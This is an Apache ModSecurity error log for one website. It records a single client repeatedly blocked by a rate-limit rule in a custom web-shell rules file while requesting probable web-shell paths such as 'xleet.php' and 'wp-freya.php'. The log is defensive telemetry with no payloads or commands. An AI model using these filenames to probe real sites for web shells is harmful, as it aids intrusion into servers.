[Mon Mar 02 05:32:43.039794 2026] [:error] [pid 28908:tid 28925] [client 20.215.209.82:24412] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/snq.php"] [unique_id "aaSwe4qJmC8ih_lQQnDuJAAAAM8"]
[Mon Mar 02 05:32:44.533345 2026] [:error] [pid 28794:tid 28844] [client 20.215.209.82:24398] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/snq.php"] [unique_id "aaSwfKVy2qpaelbUob0FywAAAEg"]
[Mon Mar 02 05:32:48.407692 2026] [:error] [pid 31257:tid 31282] [client 20.215.209.82:6488] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/snq.php"] [unique_id "aaSwgP-JFLfishX45N8nCAAAARM"]
[Mon Mar 02 05:32:49.522309 2026] [:error] [pid 31257:tid 31263] [client 20.215.209.82:5112] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/snq.php"] [unique_id "aaSwgf-JFLfishX45N8nDgAAAQA"]
[Mon Mar 02 05:32:51.131291 2026] [:error] [pid 28908:tid 28920] [client 20.215.209.82:5071] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mcs.php"] [unique_id "aaSwg4qJmC8ih_lQQnDuLgAAAMo"]
[Mon Mar 02 05:32:52.546683 2026] [:error] [pid 28908:tid 28922] [client 20.215.209.82:5072] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mcs.php"] [unique_id "aaSwhIqJmC8ih_lQQnDuNQAAAMw"]
[Mon Mar 02 05:32:54.212955 2026] [:error] [pid 31257:tid 31281] [client 20.215.209.82:14767] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mcs.php"] [unique_id "aaSwhv-JFLfishX45N8nIAAAARI"]
[Mon Mar 02 05:32:55.073049 2026] [:error] [pid 31257:tid 31285] [client 20.215.209.82:6526] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mcs.php"] [unique_id "aaSwh_-JFLfishX45N8nKAAAARY"]
[Mon Mar 02 05:32:56.083886 2026] [:error] [pid 28908:tid 28923] [client 20.215.209.82:14770] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aaSwiIqJmC8ih_lQQnDuPgAAAM0"]
[Mon Mar 02 05:32:58.150075 2026] [:error] [pid 28908:tid 28925] [client 20.215.209.82:6516] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aaSwioqJmC8ih_lQQnDuSQAAAM8"]
[Mon Mar 02 05:33:00.420682 2026] [:error] [pid 28793:tid 28822] [client 20.215.209.82:6521] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aaSwjA2_fxBANaHo1f4BhAAAAA8"]
[Mon Mar 02 05:33:02.437329 2026] [:error] [pid 28795:tid 28872] [client 20.215.209.82:39843] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aaSwjrROd53wZBkdI_cTmwAAAIk"]
[Mon Mar 02 05:33:10.363077 2026] [:error] [pid 28793:tid 28807] [client 20.215.209.82:15201] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xleet.php"] [unique_id "aaSwlg2_fxBANaHo1f4BlAAAAAA"]
[Mon Mar 02 05:33:16.343583 2026] [:error] [pid 28908:tid 28923] [client 20.215.209.82:38555] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xleet.php"] [unique_id "aaSwnIqJmC8ih_lQQnDuqwAAAM0"]
[Mon Mar 02 05:33:17.545211 2026] [:error] [pid 28908:tid 28911] [client 20.215.209.82:9752] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xleet.php"] [unique_id "aaSwnYqJmC8ih_lQQnDusAAAAME"]
[Mon Mar 02 05:33:19.267671 2026] [:error] [pid 28794:tid 28848] [client 20.215.209.82:15829] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "aaSwn6Vy2qpaelbUob0F_wAAAEw"]
[Mon Mar 02 05:33:20.764319 2026] [:error] [pid 28794:tid 28843] [client 20.215.209.82:10610] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "aaSwoKVy2qpaelbUob0GBAAAAEc"]
[Mon Mar 02 05:33:21.736912 2026] [:error] [pid 28795:tid 28876] [client 20.215.209.82:18554] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "aaSwobROd53wZBkdI_cT7AAAAI0"]
[Mon Mar 02 05:33:22.780520 2026] [:error] [pid 28793:tid 28829] [client 20.215.209.82:27983] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "aaSwog2_fxBANaHo1f4BpwAAABY"]
[Mon Mar 02 05:33:24.064063 2026] [:error] [pid 28793:tid 28825] [client 20.215.209.82:18551] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aaSwpA2_fxBANaHo1f4BqQAAABI"]
[Mon Mar 02 05:33:26.402124 2026] [:error] [pid 28794:tid 28851] [client 20.215.209.82:36044] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aaSwpqVy2qpaelbUob0GFgAAAE8"]
[Mon Mar 02 05:33:27.279620 2026] [:error] [pid 28795:tid 28872] [client 20.215.209.82:4178] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aaSwp7ROd53wZBkdI_cUBQAAAIk"]
[Mon Mar 02 05:33:28.989661 2026] [:error] [pid 28908:tid 28926] [client 20.215.209.82:22058] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aaSwqIqJmC8ih_lQQnDuugAAANA"]
[Mon Mar 02 05:33:30.784737 2026] [:error] [pid 28794:tid 28837] [client 20.215.209.82:22122] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aaSwqqVy2qpaelbUob0GHAAAAEE"]
[Mon Mar 02 05:33:32.185453 2026] [:error] [pid 28908:tid 28916] [client 20.215.209.82:23880] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aaSwrIqJmC8ih_lQQnDuwgAAAMY"]
[Mon Mar 02 05:33:33.525993 2026] [:error] [pid 31257:tid 31285] [client 20.215.209.82:40753] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aaSwrf-JFLfishX45N8nvAAAARY"]
[Mon Mar 02 05:33:34.774274 2026] [:error] [pid 28795:tid 28866] [client 20.215.209.82:16751] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aaSwrrROd53wZBkdI_cUIQAAAIM"]
[Mon Mar 02 05:33:36.182920 2026] [:error] [pid 28908:tid 28913] [client 20.215.209.82:29395] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tmpls.php"] [unique_id "aaSwsIqJmC8ih_lQQnDu1AAAAMM"]
[Mon Mar 02 05:33:37.878911 2026] [:error] [pid 28794:tid 28853] [client 20.215.209.82:34381] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tmpls.php"] [unique_id "aaSwsaVy2qpaelbUob0GJQAAAFE"]
[Mon Mar 02 05:33:39.298345 2026] [:error] [pid 28908:tid 28923] [client 20.215.209.82:24116] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tmpls.php"] [unique_id "aaSws4qJmC8ih_lQQnDu4gAAAM0"]
[Mon Mar 02 05:33:40.567507 2026] [:error] [pid 31257:tid 31279] [client 20.215.209.82:24818] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tmpls.php"] [unique_id "aaSwtP-JFLfishX45N8n1gAAARA"]
[Mon Mar 02 05:34:21.811234 2026] [:error] [pid 28795:tid 28880] [client 20.215.209.82:19904] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws60.php"] [unique_id "aaSw3bROd53wZBkdI_cVDwAAAJE"]
[Mon Mar 02 05:34:25.725298 2026] [:error] [pid 28908:tid 28910] [client 20.215.209.82:41096] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws60.php"] [unique_id "aaSw4YqJmC8ih_lQQnDv-gAAAMA"]
[Mon Mar 02 05:34:28.458245 2026] [:error] [pid 28793:tid 28824] [client 20.215.209.82:29051] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws60.php"] [unique_id "aaSw5A2_fxBANaHo1f4B5gAAABE"]
[Mon Mar 02 05:34:32.050543 2026] [:error] [pid 28793:tid 28816] [client 20.215.209.82:16075] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws60.php"] [unique_id "aaSw6A2_fxBANaHo1f4B7gAAAAk"]
[Mon Mar 02 05:34:44.115329 2026] [:error] [pid 28795:tid 28885] [client 20.215.209.82:33985] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aaSw9LROd53wZBkdI_cVTQAAAJY"]
[Mon Mar 02 05:34:44.988936 2026] [:error] [pid 31257:tid 31266] [client 20.215.209.82:15615] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-freya.php"] [unique_id "aaSw9P-JFLfishX45N8pVwAAAQM"]
[Mon Mar 02 05:34:51.870814 2026] [:error] [pid 28908:tid 28921] [client 20.215.209.82:39880] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bb.php"] [unique_id "aaSw-4qJmC8ih_lQQnDwZgAAAMs"]
[Mon Mar 02 05:34:55.593863 2026] [:error] [pid 31257:tid 31272] [client 20.215.209.82:24345] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bb.php"] [unique_id "aaSw__-JFLfishX45N8pnwAAAQk"]
[Mon Mar 02 05:34:56.653210 2026] [:error] [pid 28908:tid 28922] [client 20.215.209.82:39793] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bb.php"] [unique_id "aaSxAIqJmC8ih_lQQnDwggAAAMw"]
[Mon Mar 02 05:34:57.764672 2026] [:error] [pid 28794:tid 28843] [client 20.215.209.82:39931] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bb.php"] [unique_id "aaSxAaVy2qpaelbUob0GkwAAAEc"]
[Mon Mar 02 05:34:59.206985 2026] [:error] [pid 28794:tid 28859] [client 20.215.209.82:29394] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dsd.php"] [unique_id "aaSxA6Vy2qpaelbUob0GlgAAAFc"]
[Mon Mar 02 05:35:00.161614 2026] [:error] [pid 31257:tid 31277] [client 20.215.209.82:39591] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dsd.php"] [unique_id "aaSxBP-JFLfishX45N8ptgAAAQ4"]
[Mon Mar 02 05:35:01.406832 2026] [:error] [pid 28908:tid 28911] [client 20.215.209.82:15552] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dsd.php"] [unique_id "aaSxBYqJmC8ih_lQQnDwmgAAAME"]
[Mon Mar 02 05:35:02.088965 2026] [:error] [pid 28908:tid 28918] [client 20.215.209.82:29423] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dsd.php"] [unique_id "aaSxBoqJmC8ih_lQQnDwowAAAMg"]
[Mon Mar 02 05:35:02.856433 2026] [:error] [pid 28908:tid 28911] [client 20.215.209.82:39567] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/guk.php"] [unique_id "aaSxBoqJmC8ih_lQQnDwrAAAAME"]
[Mon Mar 02 05:35:03.921282 2026] [:error] [pid 28795:tid 28881] [client 20.215.209.82:28996] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/guk.php"] [unique_id "aaSxB7ROd53wZBkdI_cVfwAAAJI"]
[Mon Mar 02 05:35:04.661078 2026] [:error] [pid 28795:tid 28866] [client 20.215.209.82:29991] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/guk.php"] [unique_id "aaSxCLROd53wZBkdI_cVhAAAAIM"]
[Mon Mar 02 05:35:06.128271 2026] [:error] [pid 28793:tid 28813] [client 20.215.209.82:24323] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/guk.php"] [unique_id "aaSxCg2_fxBANaHo1f4CCwAAAAY"]
[Mon Mar 02 05:35:07.648367 2026] [:error] [pid 31257:tid 31279] [client 20.215.209.82:39796] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/vx.php"] [unique_id "aaSxC_-JFLfishX45N8pxQAAARA"]
[Mon Mar 02 05:35:10.981872 2026] [:error] [pid 31257:tid 31264] [client 20.215.209.82:15590] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/vx.php"] [unique_id "aaSxDv-JFLfishX45N8pzwAAAQE"]
[Mon Mar 02 05:35:13.119609 2026] [:error] [pid 28794:tid 28853] [client 20.215.209.82:39763] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/vx.php"] [unique_id "aaSxEaVy2qpaelbUob0GrwAAAFE"]
[Mon Mar 02 05:35:13.834982 2026] [:error] [pid 28795:tid 28881] [client 20.215.209.82:33936] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/vx.php"] [unique_id "aaSxEbROd53wZBkdI_cVnQAAAJI"]
[Mon Mar 02 05:35:16.049139 2026] [:error] [pid 31257:tid 31269] [client 20.215.209.82:29959] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ze.php"] [unique_id "aaSxFP-JFLfishX45N8p4gAAAQY"]
[Mon Mar 02 05:36:07.552187 2026] [:error] [pid 28793:tid 28830] [client 20.215.209.82:22598] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mans.php"] [unique_id "aaSxRw2_fxBANaHo1f4CjwAAABc"]
[Mon Mar 02 05:36:08.322774 2026] [:error] [pid 28794:tid 28846] [client 20.215.209.82:40203] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mans.php"] [unique_id "aaSxSKVy2qpaelbUob0HXAAAAEo"]
